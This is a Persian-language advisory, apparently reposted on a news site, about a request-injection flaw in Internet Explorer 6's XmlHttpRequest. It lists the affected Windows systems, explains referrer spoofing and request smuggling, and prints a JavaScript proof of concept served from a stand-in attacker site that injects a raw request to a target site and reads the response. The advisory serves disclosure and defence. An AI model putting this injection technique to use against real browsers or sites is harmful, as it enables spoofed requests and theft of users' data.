سه شنبه, ۱۶ بهمن, ۱۴۰۳ / 4 February, 2025
شکاف امنیتی ناشی از اعتبار سنجی نامناسب پارامترهای ارسالی به XmlHttpRequest در Internet Explorer
● سیستمهای تحت تاثیر:
▪ Microsoft Internet Explorer ۶.۰ SP۲
▪ Microsoft Internet Explorer ۶.۰ SP۱
▪ Microsoft Internet Explorer ۶.۰
▪ Microsoft Windows ۲۰۰۰ Advanced Server
▪ Microsoft Windows ۲۰۰۰ Advanced Server SP۱
▪ Microsoft Windows ۲۰۰۰ Advanced Server SP۲
▪ Microsoft Windows ۲۰۰۰ Datacenter Server
▪ Microsoft Windows ۲۰۰۰ Datacenter Server SP۱
▪ Microsoft Windows ۲۰۰۰ Datacenter Server SP۲
▪ Microsoft Windows ۲۰۰۰ Professional
▪ Microsoft Windows ۲۰۰۰ Professional SP۱
▪ Microsoft Windows ۲۰۰۰ Professional SP۲
▪ Microsoft Windows ۲۰۰۰ Server
▪ Microsoft Windows ۲۰۰۰ Server SP۱
▪ Microsoft Windows ۲۰۰۰ Server SP۲
▪ Microsoft Windows ۲۰۰۰ Terminal Services
▪ Microsoft Windows ۲۰۰۰ Terminal Services SP۱
▪ Microsoft Windows ۲۰۰۰ Terminal Services SP۲
▪ Microsoft Windows ۹۸
▪ Microsoft Windows ۹۸SE
▪ Microsoft Windows ME
▪ Microsoft Windows NT Enterprise Server ۴.۰ SP۶a
▪ Microsoft Windows NT Server ۴.۰ SP۶a
▪ Microsoft Windows NT Workstation ۴.۰ SP۶a
▪ Microsoft Windows Server ۲۰۰۳ Datacenter Edition
▪ Microsoft Windows Server ۲۰۰۳ Datacenter Edition ۶۴-bit
▪ Microsoft Windows Server ۲۰۰۳ Enterprise Edition
▪ Microsoft Windows Server ۲۰۰۳ Enterprise Edition ۶۴-bit
▪ Microsoft Windows Server ۲۰۰۳ Standard Edition
▪ Microsoft Windows Server ۲۰۰۳ Web Edition
▪ Microsoft Windows XP Home
▪ Microsoft Windows XP Professional
به علت وجود نقطه ضعفی در برنامه Internet Explorer که ناشی از بررسی نامناسب پارامترهای ارسالی به XmlHttpRequest است، اجازه تزریق کردن تقاضاهای HTTP دلخواه را به Internet Explorer ممکن می سازد.
XmlHttpRequest یک شی Javascript است (یکی از اجزای هسته AJAX). این شی به کد Javascript سمت Client اجازه فرستادن تقاضاهای Raw HTTP به میزبان اصلی و همچنین دستیابی به بدنه پاسخ های برگشتی (Responses) به صورت Raw Form را فراهم می کند.
یک نفوذگر با سوء استفاده از این نقطه ضعف می تواند علاوه بر فریب دادن یک وب سایت، یک مرورگر را مجبور به تقاضا کردن یک سایت روی ماشین محلی یا روی میزبان دیگری غیر از ماشین محلی نماید، البته به شرطی که از یک forwarding proxy server استفاده شده باشد. سپس نفوذگر با جلوگیری کردن از دریافت پاسخ توسط مرورگر می تواند اطلاعات حساس را سرقت کند و از این اطلاعات در حملات بعدی استفاده نماید. یک حمله موفق می تواند پیامدهای گوناگونی داشته باشد مانند حملات HTTP Request Smuggling یا حمله Man in the Middle (که طی آن هکر به ترافیک بین کاربر و یک سایت دیگر نفوذ می کند)و یا فاش سازی اطلاعات.
● توضیح:
بطور کلی یک نفوذگر می تواند با سوء استفاده از این نقطه ضعف از تکنیکهای زیر استفاده نماید:
▪ Referrer spoofing
▪ HTTP Request Smuggling , HTTP Response Splitting and Web cache poisoning
▪ Accessing content / web-scanning
در اینجا فقط تکنیک اصلی یعنی Referrer Spoofing بررسی می شود.
● بازیابی یک صفحه با استفاده از یک Referrer Spoofing:
▪ مفروضات زیر را در نظر بگیرید:
وب سایت نفوذگر www.attacker.site و وب سایت مقصد www.target.site است. از Forwarding Proxy Server استفاده می شود و یا اینکه سایت نفوذگر و مقصد بطور مجازی روی آدرس IP یکسانی میزبانی می شوند.
Client یک صفحه که حاوی کد Javascript است را از سایت www.attacker.site دریافت می کند. این کد برای پیاده سازی حمله نوشته و طراحی شده است. کد Javascript مذکور با exploit کردن شی XmlHttpRequest (که از طریق ارسال پارامترهای خاصی به آن می باشد) موجب شروع حمله با توجه به تکنیک بکار رفته در کد Javascript می شود.
کد Javascript در زیر (به عنوان بخشی از صفحه دریافت شده از سایت www.attacker.site) می تواند توسط Internet Explorer برای فرستادن یک Referrer معتبر و خواندن محتویات صفحات وب استفاده شود (این مثال روی Internet Explorer ۶.۰ SP۲ تست و اجرا شده است و فرض بر این است که از forwarding proxy server استفاده می شود).
x.open("GET http://www.target.site/page.cgi?parameters HTTP
/۱.۰
Host: www.target.site
Referer: http://www.target
.site/somepath?somequery
GET http://nosuchhost/ HTTP
/۱.۰
Foobar:","http://www.attacker.site/",false);
x.send();
alert(x.responseText);
ایران مسعود پزشکیان دولت چهاردهم پزشکیان مجلس شورای اسلامی محمدرضا عارف دولت مجلس کابینه دولت چهاردهم اسماعیل هنیه کابینه پزشکیان محمدجواد ظریف
پیاده روی اربعین تهران عراق پلیس تصادف هواشناسی شهرداری تهران سرقت بازنشستگان قتل آموزش و پرورش دستگیری
ایران خودرو خودرو وام قیمت طلا قیمت دلار قیمت خودرو بانک مرکزی برق بازار خودرو بورس بازار سرمایه قیمت سکه
میراث فرهنگی میدان آزادی سینما رهبر انقلاب بیتا فرهی وزارت فرهنگ و ارشاد اسلامی سینمای ایران تلویزیون کتاب تئاتر موسیقی
وزارت علوم تحقیقات و فناوری آزمون
رژیم صهیونیستی غزه روسیه حماس آمریکا فلسطین جنگ غزه اوکراین حزب الله لبنان دونالد ترامپ طوفان الاقصی ترکیه
پرسپولیس فوتبال ذوب آهن لیگ برتر استقلال لیگ برتر ایران المپیک المپیک 2024 پاریس رئال مادرید لیگ برتر فوتبال ایران مهدی تاج باشگاه پرسپولیس
هوش مصنوعی فناوری سامسونگ ایلان ماسک گوگل تلگرام گوشی ستار هاشمی مریخ روزنامه
فشار خون آلزایمر رژیم غذایی مغز دیابت چاقی افسردگی سلامت پوست